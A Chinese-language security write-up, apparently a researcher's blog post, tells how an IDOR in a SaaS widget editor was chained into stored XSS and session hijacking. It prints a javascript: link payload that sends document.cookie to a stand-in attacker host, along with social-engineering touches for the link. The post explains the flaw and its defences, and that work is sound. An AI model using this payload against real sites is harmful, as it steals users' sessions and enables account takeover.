作为安全研究员,我发现过不少漏洞,但有一个案例至今让我印象深刻——一个看似不起眼的 IDOR(不安全的直接对象引用)漏洞,居然能一路升级成严重的账号接管。这个案例告诉我们,现代 Web 防护也可能失灵,而多层安全防护真的很重要。
发现过程:看似无害的 IDOR
在测试一家热门 SaaS 平台的 Widget 功能时,我注意到每个 Widget 都能通过这样的 URL 访问:
https://app.target.com/widgets/edit?uuid=123e4567-e89b-12d3-a456-426614174000
结果只要随便改 UUID,我就能编辑任何用户的 Widget。没有权限检查,也没有任何提示——这就是典型的 IDOR 漏洞。
为什么危险?
Widget 可以直接嵌入公开网站
平台服务超过 10 万家公司
关键操作没有二次验证
从 IDOR 到存储型 XSS:JavaScript 伪协议攻击
Widget 编辑器允许添加自定义链接。常规的 XSS 过滤能挡住像 <script>alert(1)</script>
这种攻击,但它漏掉了一个关键点——href
里的 JavaScript 伪协议:
<ahref="javascript:fetch('https://attacker.com/log?cookie='+document.cookie)">点击领取特别优惠!</a>
社会工程学加持
为了让攻击更真实,我做了几件事:
target="_blank"
新标签页打开链接文字看起来合法(比如“下载白皮书”)
加上伪造的 UTM 参数,增加可信度
绕过现代防护
这个攻击令人担忧的地方在于,它能轻松绕过常见安全防护:
CSP 绕过
script-src
没限制伪协议数据可以轻松外泄
Cookie 获取
缺少
HttpOnly
,JavaScript 可以直接访问没有
SameSite
,支持跨域窃取缺少点击劫持防护
没有
X-Frame-Options
,Widget 可以被嵌入 iframe
攻击链全流程
攻击者通过 IDOR 编辑受害者 Widget
插入恶意 JavaScript 链接
受害者访问含 Widget 的页面
点击看似“合法”的链接
会话 Cookie 被传到攻击者服务器
攻击者顺利劫持会话
安全启示
测试 JavaScript 执行环境,不仅限
<script>
寻找漏洞链(IDOR → XSS → 账号接管)
小疏忽可能引发大问题
安全防护必须多层设计
真正的攻击通常是漏洞组合拳